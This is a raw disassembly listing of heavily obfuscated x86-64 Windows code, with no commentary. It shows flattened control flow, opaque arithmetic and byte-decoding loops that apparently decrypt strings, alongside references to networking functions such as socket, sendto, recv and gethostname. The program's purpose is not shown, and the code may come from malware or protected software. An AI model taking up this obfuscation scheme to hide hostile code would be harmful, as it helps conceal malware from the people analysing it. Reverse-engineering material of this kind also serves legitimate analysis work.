cmp rbx, rax
ja 0x1401058c0
mov rbx, rcx
lea r8, [rcx + 0x1000]
jmp 0x1401058c0
movabs rdx, 0xae06ee2b761c0939
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x71
add r14b, dl
jmp 0x1401058b0
movabs rdx, 0x1a06d4a463d5a5a3
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x75
add r14b, dl
jmp 0x140105840
movabs rdx, 0x8606bb1d518f420d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub dl, 0x5b
add r14b, dl
jmp 0x1401057b6
movabs rdx, 0x90086051ff18ad38
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x140106361
movabs rcx, 0xfc0846caecd249a2
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x6e
inc r8
dec r9
inc r9
jmp 0x1401057a3
movabs rcx, 0x68082d43da8be60c
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x54
dec r9
inc r9
jmp 0x1401057a3
movabs rdx, 0xd40813bcc8458276
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x3a
jmp 0x140106242
movabs rcx, 0x4007fa35b5ff1ee0
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x20
jmp 0x1401063e1
movabs rcx, 0xac07e0aea3b8bb4a
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 6
jmp 0x1401063e4
movabs rdx, 0x1807c727917257b4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x14010641e
movabs rdx, 0x8407ada07f2bf41e
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x140106452
movabs rdx, 0xf00794196ce59088
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
movzx eax, byte [rbp + r9 + 0x350]
add rax, r8
add r9, rax
inc r9
jmp 0x1401057a3
movabs rcx, 0xfe075447bf359791
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
add r14b, 9
mov byte [rbp + r9 + 0x350], r14b
inc r9
jmp 0x1401057a3
movabs rdx, 0x6a073ac0acef33fb
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x23
add r14b, dl
cmp r8, 0x64
jb 0x140105c8e
movabs rdx, 0x7c0515e8a405d6e2
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r14d, [rcx*2 - 0x5c]
jmp 0x140106361
movabs rdx, 0xd60721399aa8d065
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x3d
add r14b, dl
cmp rbx, 9
jae 0x14010621a
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140106109
movabs rdx, 0xb40416a1ed45f306
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x2a
jmp 0x140105cbe
movabs rdx, 0x420707b288626ccf
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x57
add r14b, dl
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x140106275
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140106072
movabs rdx, 0x22030a97ad62dd5f
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x67
jmp 0x140105d11
movabs rcx, 0x6c06483d7f5281ea
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x66
movzx eax, byte [rbp + r9 + 0x350]
add rax, r8
add r9, rax
inc r9
jmp 0x1401057a3
movabs rdx, 0xd8062eb66d0c1e54
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x4c
add r14b, dl
jmp 0x140106452
movabs rdx, 0x4406152f5ac5babe
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x32
add r14b, dl
jmp 0x14010641e
movabs rcx, 0xb005fba8487f5728
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x18
jmp 0x1401063e4
movabs rdx, 0x1c05e2213638f392
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1401063e1
movabs rdx, 0x8805c89a23f28ffc
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r14d, [rcx + rcx]
jmp 0x14010623f
movabs rdx, 0xf405af1311ac2c66
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
dec r9
inc r9
jmp 0x1401057a3
movabs rdx, 0x6005958bff65c8d0
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r8
dec r9
inc r9
jmp 0x1401057a3
movabs rdx, 0xcc057c04ed1f653a
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x140106361
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140105f5c
lea rdx, [r9 + r11]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x73
jmp 0x140105d70
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140105f9c
movabs rcx, 0x240218147fc62b4e
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x22
movzx eax, byte [rbp + r9 + 0x350]
add rax, r8
add r9, rax
inc r9
jmp 0x1401057a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140105fcd
movabs rdx, 0x4c024b22a452f27a
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x56
add r14b, dl
jmp 0x14010641e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140105ffb
movabs rcx, 0xe00264a9b6995610
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x70
jmp 0x1401063e4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140106033
movabs rdx, 0x9c02b13eed6c80d2
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
dec r9
inc r9
jmp 0x1401057a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140105d73
movabs rdx, 0x3002cac5ffb2e468
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
inc r8
dec r9
inc r9
jmp 0x1401057a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1401060a3
movabs rdx, 0xb603241ebfa940f5
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x4d
add r14b, dl
jmp 0x140106361
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1401060d7
movabs rcx, 0xde03572ce4360821
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
add r14b, 0x19
dec r9
inc r9
jmp 0x1401057a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140105d14
movabs rcx, 0x6038a3b08c2cf4d
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x1b
jmp 0x1401063e1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140106149
movabs rcx, 0x48043028ff8c569c
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x44
movzx eax, byte [rbp + r9 + 0x350]
add rax, r8
add r9, rax
inc r9
jmp 0x1401057a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14010617b
movabs rdx, 0x4047cbe365f815e
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1401063e4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1401061ad
movabs rdx, 0x9804964548a5e4f4
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1401063e1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1401061e5
movabs rdx, 0xc004c9536d32ac20
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
dec r9
inc r9
jmp 0x1401057a3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140105cc1
movabs rdx, 0xe804fc6191bf734c
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x14
add r14b, dl
jmp 0x140106361
movabs rdx, 0x10052f6fb64c3a78
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, byte [rbp + r9 + 0x350]
sub r14b, al
sub r14b, 0x48
add r14b, r10b
add r14b, dl
movabs rdx, 0xda053c333f6f6c43
add rdx, r9
movzx eax, dl
and al, r10b
add al, al
movzx ecx, r14b
sub cl, al
add cl, 0x2b
add cl, dl
add cl, r10b
mov byte [rbp + r9 + 0x350], cl
jmp 0x1401063e1
movabs rdx, 0xa40548f6c8929e0e
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, byte [rbp + r9 + 0x350]
sub r14b, 0x62
add r14b, dl
jmp 0x14010641e
movabs rdx, 0x9e01bebbbfcfcec1
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x47
add r14b, dl
jmp 0x14010641e
movabs rcx, 0xa01a534ad896b2b
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x2d
jmp 0x1401063e4
movabs rcx, 0x4e01589f76b64069
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
add r14b, 0x21
dec r9
inc r9
jmp 0x1401057a3
movabs rdx, 0x260125915229793d
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x55
add r14b, dl
jmp 0x140106361
movabs rcx, 0xfe00f2832d9cb211
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x77
movabs rcx, 0x460522ac2d2908ad
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x45
add r10b, cl
mov byte [rbp + r9 + 0x350], r10b
inc r8
dec r9
inc r9
jmp 0x1401057a3
movabs rcx, 0xd600bf75090feae5
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x43
dec r9
inc r9
jmp 0x1401057a3
movabs rcx, 0xae008c66e48323b9
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0xf
add rbx, r8
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1401057a3
mov r10, rdx
movabs rcx, 0x86005958bff65c8d
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r14d, [rdx + rcx]
add r14b, 0x25
movabs rdx, 0x6e0555ba51b5cfd9
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x11
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x350], al
inc r8
add rax, r8
sub r9, rax
movabs rcx, 0x3805627ddad901a4
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x7c
add r10b, cl
mov byte [rbp + r9 + 0x350], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x350]
add rax, r8
add r9, rax
inc r9
jmp 0x1401057a3
movabs rcx, 0x5e00264a9b699561
add rcx, r9
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r14d, [rcx + rdx]
add r14b, 0x59
movzx eax, byte [rbp + r9 + 0x350]
add rax, r8
add r9, rax
inc r9
jmp 0x1401057a3
movabs rcx, 0xf206a1963f48de77
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x41
jmp 0x1401057a0
movabs rcx, 0x5e06880f2d027ae1
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r14d, [rcx + r10]
sub r14b, 0x27
jmp 0x140105790
lea rdx, [rbp + 0x16577b4]
jmp 0x140106537
lea rdx, [rbp + 0x108a97f]
jmp 0x140106537
lea rdx, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140106560
lea rcx, [rbp + 0x170]
call fcn.140047180
lea rcx, [rbp + 0x170]
call fcn.1400e07a0
mov byte [rbp + 0x1b0], 0x80
mov byte [rbp + 0x1b1], 0x9a
mov byte [rbp + 0x1b2], 0x84
mov byte [rbp + 0x1b3], Ordinal_143
mov byte [rbp + 0x1b4], 0x9d
mov byte [rbp + 0x1b5], 0x7d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b6], xmm0
mov dword [rbp + 0x1c6], eax
mov word [rbp + 0x1ca], ax
mov byte [rbp + 0x1cc], al
nop dword [rax + rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r9d, r9d
cmp r9, 0x1d
jae 0x14010735b
movzx r10d, byte [rbp + r9 + 0x1b0]
mov rdx, r10
nop dword [rax]
cmp rbx, r9
ja 0x140107352
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140106636
movabs r11, 0xa1e0e94b3e9c262f
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, rdx
sub r15b, 0x49
jmp 0x140106660
je 0x1401072ca
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140107263
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140107238
movabs r11, 0xa1e0e94b3e9c262f
cmp r8, r9
ja 0x140107349
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x140106697
movabs rdx, 0x4773232c22cf21db
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 3
add r15b, dl
jmp 0x1401066e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1401071e2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1401071b4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14010718f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14010716a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1401070f7
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x140106d5d
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140106d38
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140106d06
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140106cd7
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140106cb2
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140106c89
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140106c64
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140106c3b
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140106c16
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140106bdb
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1401066f0
lea rbx, [r8 + 0x42]
lea r8, [rbx + 4]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140107324
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1401072ff
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1401068f2
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1401068ca
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1401068a2
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140106b75
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140106b16
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140106ac3
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140106a93
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1401066f0
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140106a5c
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140106a33
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140106a0b
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1401069e7
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1401069be
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140106999
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14010696a
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14010693c
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140106916
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1401066f0
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x5a]
jmp 0x1401066f0
movabs rdx, 0xe51eabdafec8bb85
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x5d
add r15b, dl
jmp 0x1401066e0
movabs rdx, 0xa15cd94481906f27
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x11
add r15b, dl
jmp 0x140106660
movabs rcx, 0x5d9b06ae045822c9
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x7f
jmp 0x1401065f6
movabs rdx, 0x3b99196116790ed8
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x140107202
movabs rcx, 0xf7d746ca9940c27a
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x56
inc r8
dec r9
inc r9
jmp 0x1401065e3
movabs rdx, 0xb41574341c08761c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
dec r9
inc r9
jmp 0x1401065e3
movabs rdx, 0x7053a19d9ed029be
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x32
jmp 0x140107283
movabs rdx, 0x2c91cf072197dd60
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
jmp 0x1401072ae
movabs rcx, 0xe8cffc70a45f9102
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0xe
jmp 0x1401072b1
movabs rdx, 0xa50e29da272744a4
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x7c
add r15b, dl
jmp 0x1401070c4
movabs rdx, 0x614c5743a9eef846
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
jmp 0x14010711a
movabs rcx, 0x1d8a84ad2cb6abe8
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x58
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
movabs rcx, 0xf425f634f3a9ecfd
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
add r15b, 0x15
mov byte [rbp + r9 + 0x1b0], r15b
inc r9
jmp 0x1401065e3
movabs rdx, 0xb064239e7671a09f
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x59
add r15b, dl
cmp r8, 0x5a
jb 0x140106ab3
movabs rdx, 0x7f9cf3faf23736ba
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r15d, [rcx*2 - 0x2c]
jmp 0x140107205
movabs rdx, 0x6ca25107f9395441
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x39
add r15b, dl
cmp rbx, 6
jae 0x14010706f
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x140106f61
movabs rdx, 0xda0aba1a0e043b0e
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x62
jmp 0x140106ae3
movabs rdx, 0x28e07e717c0107e3
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x35
add r15b, dl
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x14010709d
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140106e5c
movabs rdx, 0x929796edeb351933
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x65
jmp 0x140106b36
movabs rdx, 0xacb2d308d0dacb22
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
movabs rdx, 0x68f1007253a27ec4
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x5c
jmp 0x140107117
movabs rdx, 0x252f2ddbd66a3266
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
jmp 0x1401070c4
movabs rcx, 0xe16d5b455931e608
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x38
jmp 0x1401072b1
movabs rdx, 0x9dab88aedbf999aa
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
jmp 0x1401072ae
movabs rdx, 0x59e9b6185ec14d4c
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x14
jmp 0x140107283
movabs rdx, 0x1627e381e18900ee
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
dec r9
inc r9
jmp 0x1401065e3
movabs rdx, 0xd26610eb6450b490
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
inc r8
dec r9
inc r9
jmp 0x1401065e3
movabs rdx, 0x8ea43e54e7186832
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x5e
jmp 0x140107202
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140106d85
lea rdx, [r9 + r11]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x49
jmp 0x140106b95
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140106dc9
movabs rdx, 0x8ee64658459e43b6
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140106dfa
movabs rdx, 0x1669eb85400edc72
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x1e
add r15b, dl
jmp 0x1401070c4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140106e29
movabs rdx, 0xe1af6348b7b7c18c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x140107283
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140106b98
movabs rdx, 0xacf4db0c2f60a6a6
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x140107202
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140106e8a
movabs rdx, 0xd6596984686d6591
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 9
jmp 0x140107202
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140106ebe
movabs rcx, 0x5ddd0eb162ddfe4d
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x1b
dec r9
inc r9
jmp 0x1401065e3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140106eec
movabs rcx, 0x29228674da86e367
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
add r15b, 0x2f
jmp 0x1401072b1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140106f1d
movabs rdx, 0x6ce4590b57bf2fc5
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x63
add r15b, dl
jmp 0x1401070c4
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140106b39
movabs rcx, 0xf467fe38522fc881
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
add r15b, 0x79
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140106fa5
movabs rdx, 0x1dcc8cb08b3c876c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140106fd6
movabs rdx, 0xa55031dd85ad2028
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x18
add r15b, dl
jmp 0x1401070c4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140107008
movabs rdx, 0xe912047402e56c86
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
jmp 0x1401072b1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14010703c
movabs rcx, 0xb4577c377a8e51a0
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x60
dec r9
inc r9
jmp 0x1401065e3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140106ae6
movabs rdx, 0x3bdb216474feea5c
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x140107202
movabs rdx, 0xc35ec6916f6f8318
add rdx, r9
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
